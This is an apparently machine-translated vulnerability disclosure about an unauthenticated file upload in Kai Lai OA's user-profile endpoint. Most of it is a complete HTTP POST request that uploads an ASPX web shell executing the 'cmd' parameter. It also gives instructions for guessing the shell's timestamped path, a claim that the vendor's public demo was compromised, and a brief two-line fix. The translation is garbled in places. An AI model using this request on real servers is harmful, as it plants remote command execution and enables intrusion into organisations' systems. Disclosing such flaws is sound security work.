A oa system does not need to log on to GetShell

A oa system does not need to log on to GetShell

You do not need to log on to GetShell in an OA system. The official demo has been GetShell.

Official: http://www.qioa.cn/

Kai Lai OA (including Standard Edition, government affairs office, Education Edition, engineering Edition)

Official case: http://www.qioa.cn/index.php? M = content & c = index & a = lists & catid = 7

There are still many users.

Kai Lai OA Standard Edition official demo address:

Http://test.oawin.net: 8888/Login. aspx
 

Upload address:

Http://test.oawin.net: 8888/Client/UserInfo_update.aspx? User = admin

In the upload part of the user's profile picture, although the function can be performed only after login, there are two defects:

1. However, when uploading a file, you can determine that the user has a login defect and can directly upload the file without logging in.

2. In the upload process, no file suffix is determined and any file is directly uploaded.

Send the following request:
 

POST/Client/UserInfo_update.aspx? User = admin HTTP/1.1 Host: test.oawin.net: 8888User-Agent: Mozilla/5.0 (Windows NT 6.1; rv: 30.0) Gecko/20100101 Firefox/30.0 Accept: text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8Accept-Language: zh-cn, zh; q = 0.8, en-us; q = 0.5, en; q = 0.3Accept-Encoding: gzip, deflateConnection: keep-aliveContent-Type: multipart/form-data; boundary = 10916733431817708content-length: 1715 bytes unknown: form-data; name = "_ VIEWSTATE" %16733431817708content-disposition: form-data; name = "Sex" male %16733431817708content-disposition: form-data; name = "Bothday" 2012-2-10%: form-data; name = "uploadFile"; filename = "123. aspx "Content-Type: image/jpeg <% @ Page Language =" Jscript "%> <% eval (Request. item ["cmd"], "unsafe"); %> --------------------------- 16733431817708Content-Disposition: form-data; name = "Tel" Limit 16733431817708Content-Disposition: form-data; name = "Fax" %16733431817708content-disposition: form-data; name = "MoveTel" %16733431817708content-disposition: form-data; name = "LittleTel" %16733431817708content-disposition: form-data; name = "Email" Listen 16733431817708Content-Disposition: form-data; name = "QQNum" comment 16733431817708Content-Disposition: form-data; name = "Msn" Comment comment: form-data; name = "ICQ" Listen 16733431817708Content-Disposition: form-data; name = "Address" Comment comment: form-data; name = "ZipCode" comment 16733431817708Content-Disposition: form-data; name = "HomeTel" --------------------------- 16733431817708Content-Disposition: form-data; name = "Button1" Submit ----------------------------- 16733431817708 --

 

The system prompts a logon timeout, but the update is still successful. The aspx file is successfully uploaded.



The uploaded shell address is:

Http://test.oawin.net: 8888/SystemManage/User/file/year month day hour minute second + 7 digit. aspx

For example: http://test.oawin.net: 8888/SystemManage/User/file/20146181626151851927. aspx

In the same second, we can upload many files, which greatly increases the speed of file name guessing.

To the shell of an official demo:
 

 

Solution:

Strict control of user authentication

Restrict the upload price type